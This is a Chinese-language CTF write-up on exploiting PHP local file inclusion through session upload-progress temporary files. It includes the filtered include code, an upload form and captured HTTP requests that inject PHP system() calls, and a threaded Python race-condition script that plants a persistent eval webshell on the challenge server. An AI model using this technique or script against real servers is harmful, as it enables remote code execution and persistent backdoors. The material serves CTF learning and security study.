session临时文件包含
使用情况
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
比如这题,禁用了php和data,显然打不了伪协议,
点也被禁了,正常的包含文件基本不可能了
那么这里就用到了session临时文件包含了
什么是session临时文件
当PHP_SESSION_UPLOAD_PROGRESS开启时,我们可以通过这个PHP_SESSION_UPLOAD_PROGRESS查看我们文件上传的进度,并且,他的值我们是可控的,在我们上传文件的过程中,PHP_SESSION_UPLOAD_PROGRESS的内容会以一个临时文件的方式保存,而这个临时文件的名称我们也是可控的,他存放在tmp目录下,路径为
/tmp/sess_???
其中???是我们的设置的PHPSESSID的值,因为cookie的值我们是可以自定义的,所以该临时文件的文件名也是我们可控的
该文件的内容的形式为
upload_progress_xxxxxx;|a:5{s:10:"start_time";i:1743699018;s:14:"content_length";i:406;s:15:"bytes_processed";i:406;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"1.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1743699018;s:15:"bytes_processed";i:406;}}}
开头的xxxxx是可控的,内容为PHP_SESSION_UPLOAD_PROGRESS的值,前面的upload_progress_是垃圾数据,但是这里我们上传的是用尖括号包着的php代码,不会被垃圾数据影响,有些情况需要消除这些垃圾数据才能继续利用,可以使用base64编码的办法
所以,我们只需要把要执行的php代码写在PHP_SESSION_UPLOAD_PROGRESS里面,然后包含这个session文件就行了
不幸的是,session.upload_progress.cleanup是默认开启的,它意味着我们文件上传结束时,该临时文件也会被清除
所以就需要进行条件竞争,让上传和包含同时进行
方法一、抓包
首先我们写一个文件上传的表单,同时给PHP_SESSION_UPLOAD_PROGRESS赋值为恶意代码
<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
上传的文件随便一个就行
我们先抓到这个包
POST / HTTP/1.1
Accept-Encoding: gzip, deflate
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofpu5xWATy06KtvL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.far{{int(1-10000)}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh,zh-CN;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Length: 338
Cookie: PHPSESSID=onehang
------WebKitFormBoundaryofpu5xWATy06KtvL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('cat fl0g.php');?>
------WebKitFormBoundaryofpu5xWATy06KtvL
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaa
------WebKitFormBoundaryofpu5xWATy06KtvL--
紧接着,我们抓一个包含这个临时文件的包
GET /?file=/tmp/sess_onehang HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 S{{int(1-10000)}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: PHPSESSID=onehang
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
注意:这两个次请求需要设置相同的cookie
接下来就是同时使用bp或者yakit爆破这两个包了,在get的包里获取到返回的结果
方法二、py脚本
import requests
import threading
url = 'http://5851aa97-c7fa-4af7-9b19-627b6720b697.challenge.ctf.show/'
sessid = 'onehang'
test_file = open("test.txt",'rb')
def write(session):
while True:
res = session.post(url=url,
data = {
"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[1]);?>"
},
cookies = {
'PHPSESSID':sessid
},
files={
'file':test_file
}
)
def read(session):
while True:
res = session.post(url=url+f'?file=/tmp/sess_{sessid}',
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
},
cookies={
'PHPSESSID':sessid
}
)
ans = session.get(url+'1.php')
if ans.status_code == 200:
print("====done====")
else:
print(ans.status_code)
if __name__ == "__main__":
with requests.session() as session:
t1 = threading.Thread(target=write, args=(session, ))
t1.daemon = True
t1.start()
read(session)
这个脚本挺好写的,但是需要有一些要注意的点
1.write和read的cookies必须相同
2.write中上传的文件是必不可少的,不然这么记录文件上传的进度呢,不上传files会导致写马失败
我的脚本是重新在服务器上写了一个不会被清除的一句话木马,然后在执行命令,当然也可以像前面抓包的方法一样,执行执行命令
与强制文件上传的区别
强制文件上传也是包含一个临时文件,但是它需要使用?来匹配文件名,这在include函数中是不允许的